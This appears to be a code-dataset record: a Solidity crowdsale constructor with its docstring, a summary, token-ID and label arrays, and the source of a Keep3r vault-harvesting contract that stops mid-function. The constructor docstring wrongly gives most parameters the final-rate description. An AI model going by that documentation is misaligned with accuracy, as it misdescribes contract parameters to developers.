* @param initialRate Number of tokens a buyer gets per wei at the start of the crowdsale
* @param finalRate Number of tokens a buyer gets per wei at the end of the crowdsale
* @param startTime Number of tokens a buyer gets per wei at the end of the crowdsale
* @param endTime Number of tokens a buyer gets per wei at the end of the crowdsale
* @param rate Number of tokens a buyer gets per wei at the end of the crowdsale
* @param wallet Number of tokens a buyer gets per wei at the end of the crowdsale
* @param token Number of tokens a buyer gets per wei at the end of the crowdsale
*/
constructor (
uint256 initialRate,
uint256 finalRate,
uint256 startTime,
uint256 endTime,
uint256 rate,
address payable wallet,
IERC20 token
) public TimedCrowdsale(startTime, endTime) Crowdsale(rate, wallet, token) {
require(finalRate > 0, "IncreasingPriceCrowdsale: final rate is 0");
// solhint-disable-next-line max-line-length
require(initialRate > finalRate, "IncreasingPriceCrowdsale: initial rate is not greater than final rate");
_initialRate = initialRate;
_finalRate = finalRate;
}
/**
* @return the initial rate of the crowdsale.
*/
function initialRate() public view returns (uint256) {
return _initialRate;
}
/**
* @return the final rate of the crowdsale.
*/
function finalRate() public view returns (uint256) {
return _finalRate;
}
/**
* @dev Returns the rate of tokens per wei at the present time.
* Note that, as price _increases_ with time, the rate _decreases_.
* @return The number of tokens a buyer gets per wei at a given time
*/
function getCurrentRate() public view returns (uint256) {
if (!isOpen()) {
return 0;
}
// solhint-disable-next-line not-rely-on-time
uint256 elapsedTime = block.timestamp.sub(openingTime());
uint256 timeRange = closingTime().sub(openingTime());
uint256 rateRange = _initialRate.sub(_finalRate);
return _initialRate.sub(elapsedTime.mul(rateRange).div(timeRange));
}
/**
* @dev Overrides parent method taking into account variable rate.
* @param weiAmount The value in wei to be converted into tokens
* @return The number of tokens _weiAmount wei will buy at present time
*/
function _getTokenAmount(uint256 weiAmount) internal override view returns (uint256) {
uint256 currentRate = getCurrentRate();
return currentRate.mul(weiAmount);
}
}
| * @dev Constructor, takes initial and final rates of tokens received per wei contributed. @param initialRate Number of tokens a buyer gets per wei at the start of the crowdsale @param finalRate Number of tokens a buyer gets per wei at the end of the crowdsale @param startTime Number of tokens a buyer gets per wei at the end of the crowdsale @param endTime Number of tokens a buyer gets per wei at the end of the crowdsale @param rate Number of tokens a buyer gets per wei at the end of the crowdsale @param wallet Number of tokens a buyer gets per wei at the end of the crowdsale @param token Number of tokens a buyer gets per wei at the end of the crowdsale/ solhint-disable-next-line max-line-length | ) public TimedCrowdsale(startTime, endTime) Crowdsale(rate, wallet, token) {
require(finalRate > 0, "IncreasingPriceCrowdsale: final rate is 0");
require(initialRate > finalRate, "IncreasingPriceCrowdsale: initial rate is not greater than final rate");
_initialRate = initialRate;
_finalRate = finalRate;
}
| 14,092,135 | [
1,
6293,
16,
5530,
2172,
471,
727,
17544,
434,
2430,
5079,
1534,
732,
77,
356,
11050,
18,
225,
2172,
4727,
3588,
434,
2430,
279,
27037,
5571,
1534,
732,
77,
622,
326,
787,
434,
326,
276,
492,
2377,
5349,
225,
727,
4727,
3588,
434,
2430,
279,
27037,
5571,
1534,
732,
77,
622,
326,
679,
434,
326,
276,
492,
2377,
5349,
225,
8657,
3588,
434,
2430,
279,
27037,
5571,
1534,
732,
77,
622,
326,
679,
434,
326,
276,
492,
2377,
5349,
225,
13859,
3588,
434,
2430,
279,
27037,
5571,
1534,
732,
77,
622,
326,
679,
434,
326,
276,
492,
2377,
5349,
225,
4993,
3588,
434,
2430,
279,
27037,
5571,
1534,
732,
77,
622,
326,
679,
434,
326,
276,
492,
2377,
5349,
225,
9230,
3588,
434,
2430,
279,
27037,
5571,
1534,
732,
77,
622,
326,
679,
434,
326,
276,
492,
2377,
5349,
225,
1147,
3588,
434,
2430,
279,
27037,
5571,
1534,
732,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
262,
1071,
23925,
39,
492,
2377,
5349,
12,
1937,
950,
16,
13859,
13,
385,
492,
2377,
5349,
12,
5141,
16,
9230,
16,
1147,
13,
288,
203,
3639,
2583,
12,
6385,
4727,
405,
374,
16,
315,
27597,
11730,
5147,
39,
492,
2377,
5349,
30,
727,
4993,
353,
374,
8863,
203,
3639,
2583,
12,
6769,
4727,
405,
727,
4727,
16,
315,
27597,
11730,
5147,
39,
492,
2377,
5349,
30,
2172,
4993,
353,
486,
6802,
2353,
727,
4993,
8863,
203,
3639,
389,
6769,
4727,
273,
2172,
4727,
31,
203,
3639,
389,
6385,
4727,
273,
727,
4727,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-08-06
*/
pragma solidity 0.6.12;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
//
interface IMMStrategyHarvestKp3r {
event Keep3rSet(address keep3r);
event Keep3rHelperSet(address keep3rHelper);
event SlidingOracleSet(address slidingOracle);
// Actions by Keeper
event HarvestedByKeeper(address _strategy);
// Harvestable check
event HarvestableCheck(address _strategy, uint256 profitTokenAmount, uint256 profitFactor, uint256 profitInEther, uint256 ethCallCost);
// Setters
function setKeep3r(address _keep3r) external;
function setKeep3rHelper(address _keep3rHelper) external;
function setSlidingOracle(address _slidingOracle) external;
function setSushiSlidingOracle(address _sushiSlidingOracle) external;
function setMinHarvestInterval(uint256 _interval) external;
function setProfitFactor(uint256 _profitFactor) external;
// Getters
function getStrategies() external view returns (address[] memory);
function getCollateralizedStrategies() external view returns (address[] memory);
function getVaults() external view returns (address[] memory);
// psuedo view method, please use something similar to below tool to query
// https://docs.ethers.io/v5/api/contract/contract/#contract-callStatic
function harvestable(address _strategy) external returns (bool);
// harvest actions for Keep3r
function harvest(address _strategy) external;
// earn() actions for Keep3r
function earnable(address _strategy) external view returns (bool);
function earn(address _strategy) external;
// keepMinRatio() actions for Keep3r
function keepMinRatioMayday(address _strategy) external view returns (bool);
function keepMinRatio(address _strategy) external;
// Name of the Keep3r
function name() external pure returns (string memory);
event HarvestStrategyAdded(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle);
event EarnVaultAdded(address _vault, uint256 _requiredEarnBalance);
event HarvestStrategyModified(address _strategy, uint256 _requiredHarvest);
event EarnVaultModified(address _vault, uint256 _requiredEarnBalance);
event HarvestStrategyRemoved(address _strategy);
event EarnVaultRemoved(address _vault);
// Modifiers
function addStrategy(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle) external;
function addVault(address _vault, uint256 _requiredEarnBalance) external;
function updateRequiredHarvestAmount(address _strategy, uint256 _requiredHarvest) external;
function updateYieldTokenOracle(address _strategy, uint256 _yieldTokenOracle) external;
function updateRequiredEarn(address _vault, uint256 _requiredEarnBalance) external;
function removeHarvestStrategy(address _strategy) external;
function removeEarnVault(address _vault) external;
}
//
interface IKeep3rV1 {
function KPRH() external returns (address);
function name() external returns (string memory);
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
function addKPRCredit(address job, uint256 amount) external;
function addJob(address job) external;
}
//
abstract contract Keep3r {
IKeep3rV1 public keep3r;
constructor(address _keep3r) public {
_setKeep3r(_keep3r);
}
function _setKeep3r(address _keep3r) internal {
keep3r = IKeep3rV1(_keep3r);
}
function _isKeeper() internal {
require(tx.origin == msg.sender, "keep3r::isKeeper:keeper-is-a-smart-contract");
require(keep3r.isKeeper(msg.sender), "keep3r::isKeeper:keeper-is-not-registered");
}
// Only checks if caller is a valid keeper, payment should be handled manually
modifier onlyKeeper() {
_isKeeper();
_;
}
// Checks if caller is a valid keeper, handles default payment after execution
modifier paysKeeper() {
_isKeeper();
_;
keep3r.worked(msg.sender);
}
}
//
interface IKeep3rV1Helper {
function getQuoteLimit(uint256 gasUsed) external view returns (uint256);
}
//
interface IUniswapV2SlidingOracle {
function current(
address tokenIn,
uint256 amountIn,
address tokenOut
) external view returns (uint256);
function work() external;
function updatePair(address pair) external;
function observationLength(address pair) external view returns (uint);
function lastObservation(address pair) external view returns (uint timestamp, uint price0Cumulative, uint price1Cumulative);
function observations(address pair, uint256 idx) external view returns (uint timestamp, uint price0Cumulative, uint price1Cumulative);
}
//
interface IStrategy {
function rewards() external view returns (address);
function gauge() external view returns (address);
function want() external view returns (address);
function timelock() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint256, address) external;
function skim() external;
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function harvest() external;
function setTimelock(address) external;
function setController(address _controller) external;
function execute(address _target, bytes calldata _data)
external
payable
returns (bytes memory response);
function execute(bytes calldata _data)
external
payable
returns (bytes memory response);
}
//
interface ICrvStrategy is IStrategy {
function getHarvestable() external returns (uint256);
}
//
interface ICompStrategy is IStrategy {
function getCompAccrued() external returns (uint256);
}
//
interface ILeveragedStrategy is IStrategy {
function leverageToMax() external;
}
//
interface ICollateralizedStrategy is IStrategy {
function keepMinRatio() external;
function currentRatio() external view returns (uint256);
function minRatio() external view returns (uint256);
function setMinRatio(uint256 _minRatio) external;
}
//
interface IVault {
function earn() external;
function token() external view returns (address);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
interface MMController {
function vaults(address _wantToken) external view returns (address);
function strategies(address _wantToken) external view returns (address);
}
interface KeeperCompatibleInterface {
function checkUpkeep(bytes calldata checkData) external returns (bool upkeepNeeded, bytes memory performData);
function performUpkeep(bytes calldata performData) external;
}
//
// inspired by & thanks to https://macarse.medium.com/the-keep3r-network-experiment-bb1c5182bda3
//
contract GenericKeep3rV2 is Keep3r, IMMStrategyHarvestKp3r, KeeperCompatibleInterface {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal availableStrategies;
EnumerableSet.AddressSet internal leveragedStrategies;
EnumerableSet.AddressSet internal collateralizedStrategies;
EnumerableSet.AddressSet internal availableVaults;
// one-to-one mapping from vault to strategy
mapping(address => address) public vaultStrategies;
// required gas cost on strategy harvest()
mapping(address => uint256) public requiredHarvest;
// last harvest timestamp for strategy
mapping(address => uint256) public strategyLastHarvest;
// profit token yield by strategy harvest()
mapping(address => address) public stratagyYieldTokens;
// oracles used in harvest() for strategy:
// 0 : slidingOracle
// 1 : sushiSlidingOracle
// anything > 1 : simply use token number instead price oracle
mapping(address => uint256) public stratagyYieldTokenOracles;
// required minimum token available for vault earn(), may subject to change to make this job reasonable
mapping(address => uint256) public requiredEarnBalance;
address public keep3rHelper;
address public slidingOracle;
address public sushiSlidingOracle;
address public mmController;
address public constant KP3R = address(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public constant CRV = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant COMP = address(0xc00e94Cb662C3520282E6f5717214004A7f26888);
address public constant MIR = address(0x09a3EcAFa817268f77BE1283176B946C4ff2E608);
address public constant PICKLE = address(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5);
address public constant TRU = address(0x4C19596f5aAfF459fA38B0f7eD92F11AE6543784);
address public constant CVXCRV = address(0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7);
address public constant THREECRV = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
address public constant CRVRENWBTC = address(0x49849C98ae39Fff122806C06791Fa73784FB3675);
address public constant DAI = address(0x6B175474E89094C44Da98b954EedeAC495271d0F );
address public constant USDC = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 );
address public constant MIRUSTLP = address(0x87dA823B6fC8EB8575a235A824690fda94674c88 );
address public constant WBTC = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
address public constant LINK = address(0x514910771AF9Ca656af840dff83E8264EcF986CA);
address public constant ZRX = address(0xE41d2489571d322189246DaFA5ebDe1F4699F498);
address public constant ALCX = address(0xdBdb4d16EdA451D0503b854CF79D55697F90c8DF);
address public constant ALUSD = address(0xBC6DA0FE9aD5f3b0d58160288917AA56653660E9);
address public constant USDP3CRV = address(0x7Eb40E450b9655f4B3cC4259BCC731c63ff55ae6);
address public constant RENBTC = address(0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D);
address public constant YVECRV = address(0xc5bDdf9843308380375a611c18B50Fb9341f502A);
address public constant TUSD = address(0x0000000000085d4780B73119b644AE5ecd22b376);
address public constant CVX = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B);
uint256 public constant UNISWAP_ORACLE = 0;
uint256 public constant SUSHISWAP_ORACLE = 1;
bytes4 public constant earnForChainlinkMethodId = bytes4(keccak256("earnForChainlink(address)"));
bytes4 public constant harvestForChainlinkMethodId = bytes4(keccak256("harvestForChainlink(address)"));
bytes4 public constant keepMinRatioForChainlinkMethodId = bytes4(keccak256("keepMinRatioForChainlink(address)"));
bytes4 public constant earnableMethodId = bytes4(keccak256("earnable(address)"));
bytes4 public constant harvestableMethodId = bytes4(keccak256("harvestable(address)"));
bytes4 public constant keepMinRatioableMethodId = bytes4(keccak256("keepMinRatioMayday(address)"));
// The minimum number of seconds between harvest calls, once half a day
uint256 public minHarvestInterval = 43200;
// The minimum multiple that `callCost` must be above the profit to be "justifiable"
uint256 public profitFactor = 1;
// The minimum bps setting for keepMinRatio
uint256 public keepMinRatioMaydayTrigger = 9000;
address public governor;
constructor(
address _keep3r,
address _keep3rHelper,
address _slidingOracle,
address _sushiSlidingOracle,
address _mmController
) public Keep3r(_keep3r) {
keep3rHelper = _keep3rHelper;
slidingOracle = _slidingOracle;
sushiSlidingOracle = _sushiSlidingOracle;
governor = msg.sender;
mmController = _mmController;
// add exisitng vaults
addVault(MMController(_mmController).vaults(THREECRV), 5000 * 1e18); // Matsutake Field 3CRV
addVault(MMController(_mmController).vaults(CRVRENWBTC), 1 * 1e18); // Boletus Field crvRENWBTC
addVault(MMController(_mmController).vaults(DAI), 5000 * 1e18); // Kikurage Field DAI
addVault(MMController(_mmController).vaults(USDC), 5000 * 1e6); // Lentinula Field USDC
addVault(MMController(_mmController).vaults(MIRUSTLP), 1000 * 1e18); // Agaricus Field MIR-UST LP
addVault(MMController(_mmController).vaults(WETH), 5 * 1e18); // Russula Field WETH
addVault(MMController(_mmController).vaults(WBTC), 1 * 1e8); // Pleurotus Field WBTC
addVault(MMController(_mmController).vaults(LINK), 500 * 1e18); // Calvatia Field LINK
addVault(MMController(_mmController).vaults(ZRX), 5000 * 1e18); // Helvella Field ZRX
addVault(MMController(_mmController).vaults(ALCX), 20 * 1e18); // Geastrum Field ALCX
addVault(MMController(_mmController).vaults(ALUSD), 5000 * 1e18); // Aleuria Field ALUSD
addVault(MMController(_mmController).vaults(USDP3CRV), 5000 * 1e18); // Lycoperdon Field USDP3CRV
addVault(MMController(_mmController).vaults(RENBTC), 1 * 1e8); // Rhizopogon Field RENBTC
addVault(MMController(_mmController).vaults(YVECRV), 5000 * 1e18); // Chaga Field YVECRV
addVault(MMController(_mmController).vaults(TUSD), 5000 * 1e18); // Lepista Field TUSD
addVault(MMController(_mmController).vaults(CVX), 2000 * 1e18); // Tremella Field CVX
// add exisitng strategies
addStrategy(MMController(_mmController).vaults(THREECRV), MMController(_mmController).strategies(THREECRV), 1000000, false, false, CRV, 300 * 1e18); // 3CRV Yield $CRV
addStrategy(MMController(_mmController).vaults(CRVRENWBTC), MMController(_mmController).strategies(CRVRENWBTC), 1000000, false, false, CRV, 300 * 1e18); // crvRENWBTC Yield $CRV
addStrategy(MMController(_mmController).vaults(DAI), MMController(_mmController).strategies(DAI), 700000, false, true, COMP, 3 * 1e18); // DAI Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(USDC), MMController(_mmController).strategies(USDC), 700000, false, true, COMP, 3 * 1e18); // USDC Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(MIRUSTLP), MMController(_mmController).strategies(MIRUSTLP), 850000, false, false, MIR, 1000 * 1e18); // MIR-UST LP Yield $MIR
addStrategy(MMController(_mmController).vaults(WETH), MMController(_mmController).strategies(WETH), 1100000, true, false, CRV, 300 * 1e18); // WETH Collateralized LP Yield $CRV
addStrategy(MMController(_mmController).vaults(WBTC), MMController(_mmController).strategies(WBTC), 700000, false, true, COMP, 10 * 1e18); // WBTC Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(LINK), MMController(_mmController).strategies(LINK), 1100000, false, false, CRV, 300 * 1e18); // LINK LP Yield $CRV
addStrategy(MMController(_mmController).vaults(ZRX), MMController(_mmController).strategies(ZRX), 1100000, false, false, COMP, 3 * 1e18); // ZRX Leveraged Yield $COMP
addStrategy(MMController(_mmController).vaults(ALCX), MMController(_mmController).strategies(ALCX), 400000, false, false, ALCX, 3 * 1e18); // ALCX Yield $ALCX
//addStrategy(MMController(_mmController).vaults(ALUSD), MMController(_mmController).strategies(ALUSD), 500000, false, false, CRV, 200 * 1e18); // ALUSD LP Yield $CRV
addStrategy(MMController(_mmController).vaults(USDP3CRV), MMController(_mmController).strategies(USDP3CRV), 1200000, false, false, CRV, 300 * 1e18); // USDP3CRV Yield $CRV
addStrategy(MMController(_mmController).vaults(RENBTC), MMController(_mmController).strategies(RENBTC), 1200000, false, false, CRV, 300 * 1e18); // RENBTC LP Yield $CRV
addStrategy(MMController(_mmController).vaults(YVECRV), MMController(_mmController).strategies(YVECRV), 900000, false, false, PICKLE, 100 * 1e18); // YVECRV LP Yield $PICKLE
addStrategy(MMController(_mmController).vaults(TUSD), MMController(_mmController).strategies(TUSD), 1400000, false, false, TRU, 300 * 1e18); // TUSD Yield $TRU
addStrategy(MMController(_mmController).vaults(CVX), MMController(_mmController).strategies(CVX), 600000, false, false, CVXCRV, 300 * 1e18); // CVX Yield $CVXCRV
}
modifier onlyGovernor {
require(msg.sender == governor, "governable::only-governor");
_;
}
function _setGovernor(address _governor) external onlyGovernor {
require(_governor != address(0), "governable::governor-should-not-be-zero-addres");
governor = _governor;
}
// Unique method to add a strategy with specified parameters to the system
function addStrategy(address _vault, address _strategy, uint256 _requiredHarvest, bool _requiredKeepMinRatio, bool _requiredLeverageToMax, address yieldToken, uint256 yieldTokenOracle) public override onlyGovernor {
_addHarvestStrategy(_vault, _strategy, _requiredHarvest);
availableStrategies.add(_strategy);
stratagyYieldTokens[_strategy] = yieldToken;
stratagyYieldTokenOracles[_strategy] = yieldTokenOracle;
if (_requiredKeepMinRatio){
collateralizedStrategies.add(_strategy);
}
if (_requiredLeverageToMax){
leveragedStrategies.add(_strategy);
}
emit HarvestStrategyAdded(_vault, _strategy, _requiredHarvest, _requiredKeepMinRatio, _requiredLeverageToMax, yieldToken, yieldTokenOracle);
}
function _addHarvestStrategy(address _vault, address _strategy, uint256 _requiredHarvest) internal {
require(availableVaults.contains(_vault), "generic-keep3r-v2:!availableVaults");
require(requiredHarvest[_strategy] == 0 && !availableStrategies.contains(_strategy), "generic-keep3r-v2:!requiredHarvest:strategy-already-added");
_setRequiredHarvest(_strategy, _requiredHarvest);
vaultStrategies[_vault] = _strategy;
}
// Unique method to add a vault with specified parameters to the system
function addVault(address _vault, uint256 _requiredEarnBalance) public override onlyGovernor {
require(!availableVaults.contains(_vault), "generic-keep3r-v2:!requiredEarn:vault-already-added");
availableVaults.add(_vault);
